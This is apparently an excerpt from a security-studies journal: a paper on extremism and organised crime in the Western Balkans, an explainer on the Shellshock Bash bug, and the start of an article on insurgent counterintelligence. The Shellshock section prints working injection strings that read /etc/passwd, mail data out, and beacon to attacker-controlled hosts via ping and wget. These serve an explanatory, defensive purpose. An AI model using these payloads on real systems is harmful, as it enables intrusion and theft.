[9]   KING   SAVIC,   Sandra: *History   and   Identity   within   the   Sandjak   region*.   p.18 http://143.84.167.23/Collaboration/universities/Sandzak-King-Savic.pdf, download 22.12.2014.
[10] Security Council Committee pursuant to resolutions 1267 (1999) and 1989 (2011) concerning Al-Qaida and associated individuals and entities: The List established and maintained by the Al-Qaida Sanctions Committee with respect to individuals, groups, undertakings and other entities associated with Al-Qaida 12 Dec 2014. http://www.un.org/sc/committees/1267/pdf/AQList.pdf , download 22.12.2014.

Challenges connected to extremist ideologies

In the Western Balkan areas inhabited chiefly by Islam population – besides the existing political, economic, and social problems – the extremist Islam ideologies are also present, the organised crime and corruption is strengthening and spreading, meanwhile the chance for inter-ethnic confrontations still exist. Gaining ground of the small local Wahhabist communities and the increase of their influence are alarming signs both in Bosnia and Herzegovina and in the Sanjak.

The majority of Albanian Muslims belongs traditionally to the moderate Islam; the advocates of radical views do not enjoy significant support. However, the difficult economic situation and the organised crime omnipresent in the society may create favourable conditions for the spread of extremist ideas. The Albanian organised criminal gangs are not interested ideologically in the activity of terrorist organisations, but they may cooperate with them in some cases for the sake of business. With the support of Islam-based NGOs, a growing number of young Albanians undergo religious training in Arab countries. The influence of youth professing extremist views may significantly increase within a few years in the Islam communities and educational institutions of Albania.

Islam extremist schools have appeared also in the Islam community of FYROM, however, the majority of believers do not share these ideas. It is the Islamic Youth Forum that plays a significant role in disseminating Islam extremist views. In Croatia, there is small Muslim community, formed mainly by locals and a few foreign Islam worshipers. The Islam NGOs are active, however; far-less influential than their partner organisations in Bosnia and Herzegovina. Despite the fact that the armed and organised criminal groups can pursue their activity relatively untroubled in Kosovo, Islam extremist missionaries seem to be unable to win over en masse the Albanian Muslims scarcely practising their religion. It also hinders the spread of extremist ideas that the Albanian clans and organised criminal gangs are not interested in the appearance of the terrorist organisations. In Kosovo the economy is stagnating, since there is practically no productive activity in the country. According to UN assessment," Heroin seizures in Kosovo are increasing. In 2009-2012 it reported the only instance of a continuous increase in heroin seizures in South-Eastern Europe, contrasting the regional trend".[11]

Bosnia and Herzegovina has remained the centre of Islam extremist groups on the Western Balkans. Although, the international terrorist organisations do not pursue their activity in the country, the Islam extremist organisations (and the foreign NGOs that can be associated with them) take advantage of the unstable security situation of the country (organised crime, practically porous borders) in order to increase their influence.

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[11] United Nations Office on Drugs and Crimes: The illicit drug trade through South-Eastern Europe March 2014. p. 64 http://www.unodc.org/documents/data-and-analysis/Studies/Illicit_DT_through_SEE_REPORT_2014_web.pdf download: 21.12.2014.

Bosnia and Herzegovina is mainly used by international terrorist organizations for the following purposes:

- Islamic bridgehead towards Europe;
- Logistic base;
- Recruiting base;
- Rest and recuperation area;
- Transit country."[12]

In Bosnia and Herzegovina a number of serious terrorist attempts occurred in the past years. In October 2001, the Bosnian authorities arrested Bensayah Belkacem, Saber Lahmar, Ait Idir Mustafa, Boudallah Hadj, Boumedien Lakhdar and Necheld Muhammad suspected of having planned terrorist attempts against the US and UK Embassies in Sarajevo.[13] In May 2004, the US Ministry of Finances froze the funds of three Bosnian relief organisations as they were suspected of financing Al-Qaeda's activity. As a result of the affair, the Bosnian authorities controlled and closed down numerous relief organisations[14].

At the end of October 2005, Swedish citizen of Bosnian origin Mirsad Bektasevic and Danish citizen of Turkish origin Abdulkadir Cezar were arrested in Sarajevo. They were suspected of having made preparations for terrorist attacks. A large quantity of explosives, small arms and explosive vests as well as videotapes showing the preparations of suicide attempts were found in their apartment. Based on the information obtained during their interrogation, the local authorities arrested two young Muslims in Bosnia, seven in Denmark and three others in Great-Britain. [15] In Jan 2007, five members of the groups were sentenced in Bosnia, while in August 2005, three further members were sentenced in the United Kingdom to prison. They were jailed for a period of 2-15 years imprisonment.

Serbia and Montenegro: the area of Sanjak

Representatives of the Saudi based religious movement, who want the Islam to return to its original appeared in Novi Pazar, the capital of Sanjak 10-15 years ago. By now, the movement has had several thousand members. Islam extremists pursuing their activity in the region get financial support from Saudi charity organisations, from other Middle East donors and local businessmen probably via Sarajevo.[16]

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[12] ANTĂŞNEZ, Juan Carlos: *Wahhabism in Bosnia-Herzegovina* - Part One 16 September, 2008. http://www.bosnia.org.uk/news/news_body.cfm?newsid=2468, download: 22.12.2014.

[13] Ibid

[14] AP, Bloomberg, Focus News Net: US Treasury Freezes Assets of BiH Charities Suspected of Financing al-Qaeda. 07.05.2004. http://www.setimes.com/cocoon/setimes/xhtml/en_GB/features/setimes/features/2004/05/040507-SVETLA-001, download: 22.12.2014.

[15] VIDINO, Lorenzo: *The Danger of Home-grown Terrorism to Scandinavia. Terrorism Monitor Volume: 4 Issue: 20 October 2006.* http://www.jamestown.org/ programs/tm/single/ ?tx_ttnews[tt_news]=939&tx_ttnews[backPid]=181&no_cache=1#.VJfeJ_-sNA, download: 22.12.2014.

[16] KENDAL, Elizabeth: Serbia: *Wahhabi activism in Sandzak.* http://www.ea.org.au/ea-family/Religious-Liberty/SERBIA--WAHHABI-ACTIVISM-IN-SANDZAK, download: 22.12.2014.

According to Belgrade Mufti Muhamad Jusufspahic, unemployment, political conflicts and rapidly spreading drug consumption are perfect breeding grounds for the Wahhabism in Novi Pazar.[17] In April 2007, Serb authorities raided an Islam extremist group in Sanjak. The members of the groups were equipped with small arms, explosives, maps and propaganda materials disseminating Islam extremist views. This incident proves not only that the extremist views have managed to find proper grounds for spreading, but also the fact that it is relatively easy to have access to weapons and explosives in the area.[18]

The following factors as indicators may anticipate terrorist acts on the Western Balkans:

- Gaining ground of extremist political views and propaganda activities;
- Increasing and intensifying contacts between radical groups and/ or persons;
- Intensifying inter-ethnic conflicts;
- Intensifying cooperation between terrorist groups/terrorist organisations;
- Intensifying cooperation between terrorist groups/organisations and organised criminal gangs, involvement of extremist groups into illegal arms trade and drug-traffic;
- Arming of extremist groups, establishment of logistical background, covert financial transactions;
- Appearance of new terrorist groups/organisations, unification of terrorist organisations;
- Intensifying PR activity of Islam extremist organisations;
- Increasing activity of Islam cultural centres disseminating extremist ideology and
- Return of fighters from Iraq, Syria etc.
- Explicit or implicit terrorist threats.

The fact that international terrorist organisations have so far failed to gain ground in the region, does not rule out the possibility that they will find local support for some ad-hoc action among the extremists living on the territory of the Western Balkans or in the EU. For this reason, one of the most important security challenges in the region is to stop and force back Islam radicalisation.

Some territories of Bosnia and Herzegovina and the area of Sanjak may turn into such a potential base of Muslim extremists, where they can find temporary shelter from the authorities hunting them, can take preparations for various terrorist acts or can use it as a transit base for foreign Islam activists, prior to their travelling to some area of Jihad operations (Afghanistan, Iraq, Pakistan, etc).

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[17] Ibid

[18] BAJROVIC, Amela: *Balkan Insight*, 7 Dec 2006. http://www.balkaninsight.com/en/article/wahhabism-fuels-novi-pazar-religious-tensions, download: 23.12.2014.

A new threat: Western Balkan militants fighting in the ranks of the Islamic State (IS)

According to Resad Plojovic, deputy leader of Sandjak's muftiate "There are centres or individuals who probably have connections with certain organizations, and they are motivating people. They also may know ways to transport them to the war zone. Let's be frank! Many here do not even know where Syria is. They cannot know how to go there and get involved in all that is happening there."[19] From the Western Balkans to the Middle East fighters travel from Serbia, Montenegro, Bosnia-Herzegovina, Macedonia, Kosovo, and Albania. "Compared to thousands of Lebanese Shiite Hezbollah militants bolstering Assad's forces, the number of Balkan fighters with Syrian rebels is relatively small - no more than several hundred."[20] Along with the Islamic State, some fighters have reportedly joined the al-Nusra Front as well.

Diagram 1: Foreign fighters in the Islamic State from the Western Balkans[21]

Among 159 persons from the Western Balkans 125 could be identified as foreign fighters, 18 facilitators, 10 identified as the wives of foreign fighters, and the role of six people is unknown.[22]

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[19] TEODOROVIC, Milos and SYNOVITZ Ron: *Balkan Militants Join Syria's Rebel Cause*. 08.06.2013. http://www.rferl.org/content/syria-balkan-militants-join-rebel-cause/25011213.html , download: 22.12.2014.

[20] Ibid

[21] The diagram is made by: Zsolt Lakatos

[22] HOLMAN, Timothy: *Foreign Fighters from the Western Balkans in Syria*. 30.06.2014 Combating Terrorism Center at the West Point. https://www.ctc.usma.edu/posts/foreign-fighters-from-the-western-balkans-in-syria, download: 23.12.2014.

Diagram 2: Western Balkan nationalities fighting in the in the Islamic States[23]

76 individuals arrived in the Middle-East from Bosnia-Herzegovina[24], 42 from Kosovo, 25 from Albania, nine from Serbia, five from Macedonia, and two from Montenegro. [25]

Diagram 3: Male/female ratio of foreign fighters[26]

The overwhelming majority (94%) of the foreign fighters are males.[27] This tendency will most likely not change in the foreseeable future.

In Nov 2014, Bosnia's State Investigation and Protection Agency (SIPA) launched the operation "Damascus," in five towns including the capital, Sarajevo. The detained were suspected of links with financing, organizing and recruiting Bosnian citizens to leave for

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[23] The diagram is made by: Zsolt Lakatos

[24] Six Bosnian reportedly have dual citizenship

[25] HOLMAN, Timothy: *Foreign Fighters from the Western Balkans in Syria*. 30.06.2014 Combating Terrorism Center at the West Point. https://www.ctc.usma.edu/posts/foreign-fighters-from-the-western-balkans-in-syria, download: 23.12.2014.

[26] The diagram is made by: Zsolt Lakatos

[27] HOLMAN, Timothy: *Foreign Fighters from the Western Balkans in Syria.* 30.06.2014 Combating Terrorism Center at the West Point. https://www.ctc.usma.edu/posts/foreign-fighters-from-the-western-balkans-in-syria, download: 23.12.2014.

Syria and Iraq and fight alongside radical terrorist groups and organizations. In a previous operation SIPA arrested 16 individuals.[28]

Picture 1: Bosnia police arrest an individual for supporting terrorism in Iraq, Syria[29]

Current situation of the Western Balkans Diaspora living in Europe

Migration and Diaspora form a very complex risk factor and represent special challenges, since they may get associated with organised crime, while the international terrorist organisations may use the migration movements and the Diaspora for their own special purposes. Relations between European native citizens and West Balkan immigrants are determined by those differences in their culture and civilisation that characterise the Western and Islam interpretations on the role of the individual. In the Western culture and civilisation the individual is in the focus, while in the Islam civilisation the community and the role and place of the individual in the community determine his social values.

The Diaspora, living primarily in Western Europe, does not represent a direct threat to the security of the continent. However, indirectly, some members of the Diaspora, through their financing the Islam extremists in the region, may help the dissemination of extremist ideologies.[30] It is the spontaneously radicalised ("converted") persons that represent the primary threat to the security of Europe. These seemingly decent average citizens, more or less assimilated or integrated into the European societies – without any obvious change in their way of life or sudden impact on their thinking – may unexpectedly change in some phase of their life and – after a shorter or longer period of radicalisation – may turn into fanatic and staunch advocates of Jihad. This individual radicalisation that appears and becomes obvious on community level is less visible for the European native inhabitants, owing to the voluntary

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[28] Reuters: Bosnia police arrest 11 suspected of involvement in Syria, Iraq wars. 13.11.2014. http://www.dw.de/bosnia-police-arrest-11-suspected-of-involvement-in-syria-iraq-wars/a-18060956, download: 22.12.2014.

[29] AP Photo: http://www.dw.de/bosnia-police-arrest-more-than-a-dozen-for-supporting-terrorism-in-iraq-syria/a-17896851 download: 22.12.2014.

[30] BOUGAREL, Xavier:*The Role of Balkan Muslims in Building a European Islam,* EPC Issue Paper n 43, Brussels, 28 01.2008. https://halshs.archives-ouvertes.fr/file/index/docid/143385/filename/BalkIslam_EU_HAL_.pdf, download: 22.12.2014.

cultural isolation of the Muslim minorities, and can be detected only with difficulties even within the Muslim communities.

At present, the European Diaspora is under-organised. The radical members of the Diaspora profess Salafist and Wahhabist views[31]. The Salafist community is stronger in number on the continent; however they are without a charismatic leader. Some leaders of the Bosnia-based Active Islamic Youth (AIO) organisation – disbanded first in 2006 but re-established later – harbour the objective to approach the radical members of the European Diaspora.

From Western Balkans Diaspora living in Europe, a great number of young Muslims joined IS forces, but their number is unknown.

Diagram 4: Ratio of foreign fighters in Syria and Iraq[32]

Organised crime on the Western Balkans

Spread of the organised crime is a worldwide phenomenon. Criminal gangs are frequently involved in drug-, armament and man smuggling. Besides their "customary" illegal activity, they take continuous efforts to increase also their legal economic activity and influence, which makes it possible for them to enforce their interests – generally in political field – beyond the sphere of economy.

The power and influence of the organised crime is well characterised by the murder of Zoran Djindjic, one of the champions of the democracy in Serbia. He was the first freely and democratically elected Prime Minister of Serbia following Slobodan Milosevic's power was overthrown in Oct 2000. The politician had been considered by many – both inside and

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[31] Ibid

[32] EUROSTAT, IMF, The International Center for the Study of Radicalization and Political Violence, The Soufan Goup: Why and how Westerners go to fight in Syria and Iraq. 30.08.2014. http://www.economist.com/news/middle-east-and-africa/21614226-why-and-how-westerners-go-fight-syria-and-iraq-it-aint-half-hot-here-mum, download: 23.12.2014.

outside the country – as Serbia's hope, such a great pro-Western politician, under whose leadership the Balkan country might integrate into Europe. Djindijic was killed on 12 March 2003, when he got out of his car to enter the Belgrade government building. [33]

Organised crime and drug traffic still negatively influence the stability of the Western Balkans. Political corruption, dominating grey economy as well as low-efficiency administrative and jurisdictional institutions make it possible for the organised crime to gain a growing importance and informal power in some countries of the Western Balkans.

The Western Balkan is one of the entry points of the drug trade to Europe (primarily for the heroin arriving via Turkey from Afghanistan).[34]

Diagram 5: Identified branches of the Balkan route of heroin in South Eastern Europe[35]

The local and international organised crime, possessing strong positions in the area, are not interested, for the moment, either to link or mingle its activity with terrorism. The organised criminal gangs apply terrorist methods (bomb attempts, showdowns) as a tactical weapon, but the terrorism as strategy is not yet a perspective for them.

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[33] DJOKIC, Dejan: *The assassination of Zoran Djindjic*. 13. 03.2003. https://www.opendemocracy.net/democracy-yugoslavia/article_1042.jsp download: 21.12.2014.

[34] United Nations Office on Drugs and Crimes: The illicit drug trade through South-Eastern Europe March 2014. pp.7-14. http://www.unodc.org/documents/data-and-analysis/Studies/Illicit_DT_through_SEE_REPORT_2014_web.pdf download: 21.12.2014.

[35] Ibid

Europe's answer to the security challenges of Western Balkans

The spread of the Islamic extremist ideologies, the organized crime and other transnational challenges can endanger the security of Europe in the long term. The active presence and activity of EU and NATO in Bosnia and Herzegovina and Kosovo, the NATO partnership program and the possibility of EU/NATO membership contribute, indirectly and also directly, to establishing and preserving stability.

On the basis of the UN Security Council's resolution of no. 1575, the European Union – after the end of the NATO operation in Bosnia and Herzegovina (SFOR) – launched its military operation called "Althea" in Dec 2004, during which – in accordance with an agreement reached between EU and NATO[36] – it employs also some equipment and capabilities of NATO. The primary aim of the operation is to guarantee and maintain the safe environment. Kosovo Force (KFOR) is an international peacekeeping force under NATO command acting in Kosovo, which was established in 12 June 1999 on the basis of the UN Security Council's resolution no.1224. Its task is to ensure the security and order in Kosovo.

The EU also established the "European Union Rule of Law" mission in Kosovo (EULEX Kosovo). Its tasks are to help strengthening the rule of law, among others to observe and help the concerned institutions and advise them, to strengthen the cooperation and coordination among the police and the authorities responsible for criminal proceedings, generally in their legal processes, but especially in their efforts to fight terrorism, organized, ethnical and economic crime and corruption.

In sum: at present, the terrorist threat in Western Balkan can be assessed as low; however, the majority of the countries have to cope with other transnational challenges, like corruption, organised crime, etc. Some countries are unable to manage these challenges by themselves, but with the help of the International Community, they will hopefully be able to establish such stability in the middle and long term that can drive back – to a large extent – the crime and extremism. Pending that favourable moment, the above-mentioned happenings warn us to continuously observe and assess the events in the area.

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A NEW SECURITY BUG: SHELLSHOCK

Abstract

Shellshock bug is one of the newly discovered security bugs that affects Bash component on computers, devices and servers. While some analysts are eager to compare it with Heartbleed, which was discovered in spring, the main difference between Shellshock and Heartbleed is that the latter allowed malevolent third parties to spy on unsuspecting users, while Shellshock literally leaves the system's door open and almost anyone can gain access to it.[1]

Keywords: bug, serious vulnerability, Red Hat reports, HTTP server, reconnaissance attacks, Shellshock string, security, protection against Shellshock attacks, BASH, Intrusion Prevention System (IPS).

Introduction

The bug was disclosed on 24 September 2014.The original one was discovered on 12 September 2014 by Stéphane Chazelas, and he suggested the name of "bashdoor". The bug was assigned by the CVE identifier CVE-2014-6271. "An official alert from the National Institute of Standards and Technology warned that the vulnerability was 10 out of 10, in terms of its severity, impact and exploitability, but low in terms of its complexity, meaning that it could be easily used by hackers."[2]

Bash source code analysis shows that the vulnerabilities have existed since Bash 1.03, which was released in 1989 September.

„Within days of the initial discovery and patching of Shellshock, intense scrutiny of the underlying design flaws discovered a variety of derivative vulnerabilities then present in Bash, which code-maintainers solved with a series of further patches."[3]

The CVE numbers that are part of this bug are CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, and CVE-2014-6278.

Why is this bug dangerous? It is because it takes less than 24 hours to go from proof-of-concept to pandemic.

The vulnerability is an example of an arbitrary code execution (ACE). „Through arbitrary code execution, a cybercriminal may acquire control of a target computer through some sort of vulnerability, thereby gaining the power to execute commands on the user's

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[1] http://www.spyware-techie.com/shellshock-emerges-as-a-serious-security-bug

[2] http://www.nytimes.com/2014/09/26/technology/security-experts-expect-shellshock-software-bug-to-be-significant.html

[3] http://www.byteworks.com/blog/shellshock-bash-code-injection-vulnerability-patch-for-cisco-unified-communications-manager-8-5-and-above/

computer at will. Programs that are designed to exploit software bugs or other vulnerabilities are called arbitrary code execution exploits. These types of exploits take advantage of the software that allows the execution of machine code, and instead injects shellcode to allow the attacker to run arbitrary commands on another's computer. This type of attack is also known as remote code execution and can potentially allow the attacker to take complete control of the user's machine. Malware commonly utilizes arbitrary code execution to run itself on a computer without the user's consent.

Arbitrary code execution is often performed by taking control of a program's instruction pointer, which points to the next line of code that is to be processed. By changing the instruction pointer to instead point to the attacker's injected malicious code, it allows the injected code to be executed instead. Once this is accomplished, the attacker can then attempt a privilege escalation exploit in order to damage the computer or turn it into a zombie computer, which enables it to be used to perform various malicious tasks, including spreading email spam and launching denial-of-service attacks."[4]

„Red Hat reports that the most common attack vectors are:

− httpd (Your Web server): CGI [Common-Gateway Interface] scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.

− Secure Shell (SSH): It is not uncommon to restrict remote commands that a user can run via SSH, such as rsync or git. In these instances, this issue can be used to execute any command, not just the restricted command.

− dhclient: The Dynamic Host Configuration Protocol Client (dhclient) is used to automatically obtain network configuration information via DHCP. This client uses various environment variables and runs Bash to configure the network interface. Connecting to a malicious DHCP server could allow an attacker to run arbitrary code on the client machine.

− CUPS (Linux, Unix and Mac OS X's print server): It is believed that CUPS is affected by this issue. Various user-supplied values are stored in environment variables when cups filters are executed.

− sudo: Commands run via sudo are not affected by this issue. Sudo specifically looks for environment variables that are also functions. It could still be possible for the running command to set an environment variable that could cause a Bash child process to execute arbitrary code.

− Firefox: We do not believe Firefox can be forced to set an environment variable in a manner that would allow Bash to run arbitrary commands. It is still advisable to upgrade Bash as it is common to install various plug-ins and extensions that could allow this behavior.

− Postfix: The Postfix [mail] server will replace various characters with a ?. While the Postfix server does call Bash in a variety of ways, we do not believe an arbitrary

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[4] http://www.pctools.com/security-news/arbitrary-code-execution/

environment variable can be set by the server. It is however possible that a filter could set environment variables."[5]

The Shellshock vulnerability is a major problem, because it removes the need for specialized knowledge and it provides an easy path to get control of another computer, like a HTTP server. After that you can run a specified code. For example, you can attack a web server and make its CD or DVD drive open, if the server vulnerable to Shellshock.

You could attack your web server by adding the magic string () { :; }; to /bin/eject and then send it over HTTP. In usual way, the User-Agent string would identify the type of your browser, but if your server is vulnerable to Shellshock, it can be set to say anything.

For example, if my server was vulnerable then

curl -H "User-Agent: () { :; }; /bin/eject" http://myserver/

make the CD or DVD to open.

Big part of the Shellshock commands are being injected using the HTTP User-Agent and Referer headers, but hackers mostly are using GET, POST arguments. Attackers are using a lot of techniques, for example to extract private information. Sample code:

() {:;}; /bin/cat /etc/passwd

That code reads /etc/ password file, and adds it to the response from the web server. In this case the attacker injecting this code through the vulnerability and would see the dumped out password file.

They could email private files to themselves. For example:

() { :;}; /bin/bash -c \"whoami | mail -s 'remote_server l' attacker@email

That command runs whoami, because if the web server is being run as root, the server will be interesting target. Then it sends the user name, the name of the web site via email. The name of the website appears in the email subject line.

Other popular attacks are the reconnaissance attacks. In this case, the attacker sends a command that will send a message to a third-party machine and it will then compile a list of all the vulnerable machines that have contacted it. For example they use the ping command to get a vulnerable machine to send a single packet to a third-party server that the attacker controls.

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

If a web server is vulnerable to Shellshock, then it will send a single ping packet to attacker-machine.com with a payload (-p). The payload is a unique ID created by the attacker to trace the ping back of the vulnerable web site.

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[5] http://www.zdnet.com/shellshock-how-to-protect-your-unix-linux-and-mac-servers-7000034072/

1. figure
http://blog.cloudflare.com/, downloaded 2014.10.15.

„Another technique being used to identify vulnerable servers is to make the web server download a web page from an attacker-controlled machine. The attacker can then look in their web server logs to find out which machine was vulnerable. This attack works by sending a Shellshock string like:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2F

sdA== >> /dev/null

The attacker looks in the web server log of attacker-controlled.com for entries. The page downloaded is set up by the attacker to reveal the name of the site being attacked. The ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a code indicating that the attacked site was example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a base64 encoded string. When it is decoded it reads: example.comShellShockSalt

From this string the attacker can find out if their attack on example.com was successful, and, if so, they can then go back later to further exploit that site."[6]

Minimal sample explanation on what network and security administrators can do to protect their infrastructure:

 − obtain the latest patches;
 − patch the affected systems to the latest version of BASH;
 − if patching is not possible, or if a patch is not available, evaluate migrating to another shell;
 − keep update network and server security products;
 − detect and prevent Shellshock exploits with the correct updated rule sets, if you use Intrusion Prevention Systems (IPS) and other types of network based detection SW or appliances;
 − keep monitoring servers and access points in your network infrastructure.

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[6] http://blog.cloudflare.com/inside-shellshock/

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INTELIGENCE AND COUNTERINTELLIGENCE: THE INSURGENT PERSPECTIVE

Abstract

The following article has two main objectives. The first one is to introduce the reader to the problems and short history of insurgent intelligence and counterintelligence, by analyzing the classical works of insurgent theoreticians. The second is, to give an overview of the current trends in this field, based on open source literature. In the conclusion, the author will attempt to give new definitions to help better understanding the terms intelligence and counterintelligence from the insurgent point of view.

Keywords: insurgency, counterinsurgency, intelligence, counterintelligence

Introduction

In the course of the last decade, the increasing political and military capabilities of non-state actors were well demonstrated in many theatres around the world and initiated discussions that are still ongoing. A lot of thought had been given to these developments, but there are still areas which need further research. The current article aims to broaden the discussion by providing a comprehensive view with the presentation of past and present literature on insurgent intelligence and counterintelligence capabilities.

Insurgency[1] is one of the most prevalent forms of conflict. It is defined by the NATO Glossary of Terms and Definitions (AAP-6) as *"Actions of an organized, often ideologically motivated, group or movement that seeks to effect or prevent political change or to overthrow a governing authority within a country or a region, focused on persuading or coercing the population through the use of violence and subversion."*[2] For this politico-military activity which is carried out by a non-state actor (or often actors), intelligence and counterintelligence capabilities are vital, not only for its success, but for its mere survival. However there are few historical sources, which examine the role of intelligence and counterintelligence from the viewpoint of the insurgent groups in depth.

This article will show what intelligence and counterintelligence challenges an insurgent organization has to face, while developing in the course of the war. In the first part

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[1] Although insurgency is an often used concept, there are historically many terms associated with it or used instead of it. For example guerrilla war is one such term, which was used historically many times to describe insurgencies placing their military nature into the foreground (of course guerrilla warfare has also other meanings). This article will stick to the use of term insurgency, and only use other terms where it is historically relevant, such as Mao Tse-tung's and Carlos Marighella's work.

[2] AAP-6 [2013]: NATO Glossary of Terms and Definitions (English and French), North Atlantic Treaty Organization NATO Standardization Agency (NSA), p. 2-I-5. http://nsa.nato.int/nsa/zPublic/ap/aap6/AAP-6.pdf

of the article these difficulties will be examined by using available doctrine and other sources. The second part will take a look at the available theoretical background. This is made difficult by the fact that only a few theoreticians took up the challenge to write about the intelligence challenges and threats. For example Mao Tse-tung doesn't write in depth about it in his seminal work, Guerrilla Warfare. This article will look at the work of Alberto Bayo and Carlos Marighella, who wrote about aspects for rural and urban insurgencies respectively. It will also look at the influence of Michael Collins and his aggressive counterintelligence practice in the Anglo-Irish war. It will also analyze the IRA's Green Book, which was in part an effort to establish a counterintelligence "doctrine" for the group. Finally, the article will take a look at the available contemporary insurgent literature to evaluate the role of intelligence and counterintelligence in the jihadi movement.

The role of intelligence and counterintelligence

As the inherently weaker player in a usually very difficult conflict, insurgent organization needs information to frustrate and defeat the state's strategy it is fighting against, while simultaneously keeping its leaders, its supplies, its financial sources etc. as secure as possible. Carlos Revilla Arango describes the initial advantage of the counterinsurgent side on the field of counterintelligence fittingly: *"It has greater human and material resources. It operates on a sure financial base, has powers of investigation and control, and commands assets in the form of files and records which are not easily built up by the insurgents. Its officers have legal status and secure places of work instead of the hunted life of the dissidents."*[3]

That's why the importance of adequate intelligence and counterintelligence was clear for many theoreticians. Brigadier General Samuel B. Griffith in his foreword to Mao Tse-tung's classical work, On Guerrilla Warfare, remarked about the role of intelligence: *"Intelligence is the decisive factor in planning guerrilla operations. Where is the enemy? In what strength? What does it propose to do? What is the state of its equipment, its supply, its morale? Are his leaders intelligent, bold, and imaginative or stupid and impetuous? Are its troops tough, efficient, and well disciplined, or poorly trained and soft?"*[4] Alberto Bayo, in his famous work, One Hundred Fifty Question for the Guerrilla, Bayo states: *"Espionage and counterespionage are arts which all guerrillas should become proficient in, since wars are not won only by using one's head, but also by using one's foot in tripping up the enemy as often as possible. (…) In wartime, counterespionage is of greater service than simple espionage"*[5]

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[3] ARANGO, Carlos Revilla [1968a]: *Counterintelligence vs. Insurgency,* Center for the Study of Intelligence, https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol12i2/html/v12i2a08p_0001.htm

[4] MAO TSE-TUNG [1989]: *On Guerrilla Warfare,* U.S. Marine Corps, Fleet Marine Force Reference Publication [FMFRP] 12-18, p. 22. http://www.marines.mil/Portals/59/Publications/FMFRP%2012-18%20%20Mao%20Tse-tung%20on%20Guerrilla%20Warfare.pdf

[5] BAYO, Alberto Giroud [undated]: *One Hundred Fifty Questions to a Guerrilla*, Latin American Studies, http://www.latinamericanstudies.org/bayo.htm

In today's world, effective intelligence and counterintelligence are increasingly important for insurgent groups, because states have developed highly sophisticated intelligence gathering technologies, which they need to counter, if they want to succeed. However, not only states can present a threat to insurgent movements, threats can emanate from multiple sources:

- intelligence organization of the counterinsurgent (police, military and possibly other organizations specifically created to defeat the insurgent groups);
- intelligence services of foreign countries hostile to insurgents;
- sponsors (states, groups, individuals etc.) by intended or unintended information leakage;
- other insurgent organization(s) (rivals and allies alike),[6];
- internal rivalry, dissent and deserters.

As Carlos Revilla Arango very accurately states on the difficult tasks of the insurgent intelligence organization: *"It must do so through the acquisition and use of information on the personnel, organization, modus operandi, assets, plans, and activities of those that seek to penetrate or compromise it. It must concern itself not only with an enemy's deliberate efforts but with chance crises of all kinds (…)."*[7] Gaetano Joe Ilardi points out, that counterintelligence is also important from the psychological point of view. Knowing they fight against an enemy, which has a richer and (likely) more efficient intelligence gathering organization, can diminish the overall operational effectiveness of an insurgent organization by increasing the feeling of uncertainty. The impression of effective insurgent counterintelligence system in the membership however can offset this psychological pressure.[8] The lack of effective counterintelligence on the other hand can lead to serious loss in confidence and lead to discontent on who is and who isn't loyal or not and worse, undermining the cohesion and effectiveness of the organization.[9]

As for any other organization, creating and maintaining an effective intelligence and counterintelligence organization is a struggle in war time. This is also true for insurgent organization, the intelligence section of which usually has to operate on a broader base of issues (such as organizing prison breaks, potentially engaging in subversive activities etc.)

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[6] Good example what happened in Mali, where the former allies - tuareg groups and other militants (MUJAO, Anasar Dine, AQIM, etc.) – after a short time began fighting with each others. More on this: http://www.slovenskavojska.si/fileadmin/slovenska_vojska/pdf/vojaski_izzivi/svi_15_3.pdf

[7] ARANGO, Carlos Revilla [1968b]: *Insurgent Counterintelligence*, Center for the Study of Intelligence, https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/Index/html/v12i1a05p_0001.htm

[8] ILARDI, Gaetano Joe [2010]: *Irish Republican Army Counterintelligence*, International Journal of Intelligence and Counterintelligence, 23: p. 2.
http://dx.doi.org/10.1080/08850600903347152

[9] Ilardi [2010] p. 5.

The role of strategy

From the insurgent's perspective, the strategic approach is important in shaping intelligence functions. This is important, because it predetermines how big participation in the struggle the leadership of the insurgent organization wants to include. An insurgent organization usually consists of four main parts: leadership, armed wing, auxiliaries and the underground, all of which have some relations to the population, which they seek to enlist to some extent in their ranks. The importance of each part is highly dependent on the local conditions and the goals, which the insurgent movement wants to achieve. That's why we have to keep in mind that every insurgency is unique, and the described approaches are not mutually exclusive. There are four main approaches for an insurgency according to the latest FM 3-24, which are usually combined in praxis:

– urban (also called terrorist): the focus of the operations is on driving counterinsurgent forces into an overreaction against the population, in order to achieve support for the insurgent side. This approach has the weakness that the rage over the atrocities may translate into support for the insurgent, making effective recruitment and expansion difficult.

– military-focused: in this approach the attainment of legitimacy from the population is achieved solely by using military means against the counterinsurgent forces. Because this approach intends to achieve mobilization by military victories, it does not usually intend to build a wide spread political supporting network amongst the population.

– protracted approach: this approach is based on the classical Maoist popular protracted war approach, which intends to lengthen the war, in order to build broad popular support and capable forces, which at the end of the conflict can wage conventional war, if necessary.

– subversive approach: this can be called a "sub-approach", because it intends to undermine the governing authority by using legitimate political avenues and the least force possible.[10]

It is easy to see, how the chosen approach greatly influences the dynamics of an insurgency, and so the intelligence and counterintelligence support required for success. The chosen strategy creates vulnerabilities and options for an insurgent organization. Maybe the most important factor is, how the movement wants to mobilize the population for its purposes. There are two forms of support: passive and active. As written above, an urban strategy doesn't necessarily require a large supporting network, which at one point in time has to openly interact with the population, but the practitioners of this approach can count mostly on passive support, so they need to find other sources for support. A military focused strategy needs a sound logistical background and in the absence of big enough numbers can struggle to maintain effective control over the population. However, the protracted approach (as seen in many conflicts built on this approach) engages in the guerrilla phase of the conflict in

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[10] FM 3-24 [2014]: Insurgencies and Countering Insurgencies, Headquarters, Department of the Army, p. 4-8
http://fas.org/irp/doddir/army/fm3-24.pdf

population control, in order to help achieve the military, economic and political goals of the movement in the long run, while building active political and material support from the population. Such a network can provide formidable resources, but also can present vulnerability for the movement, especially if it is built up in a hurry.

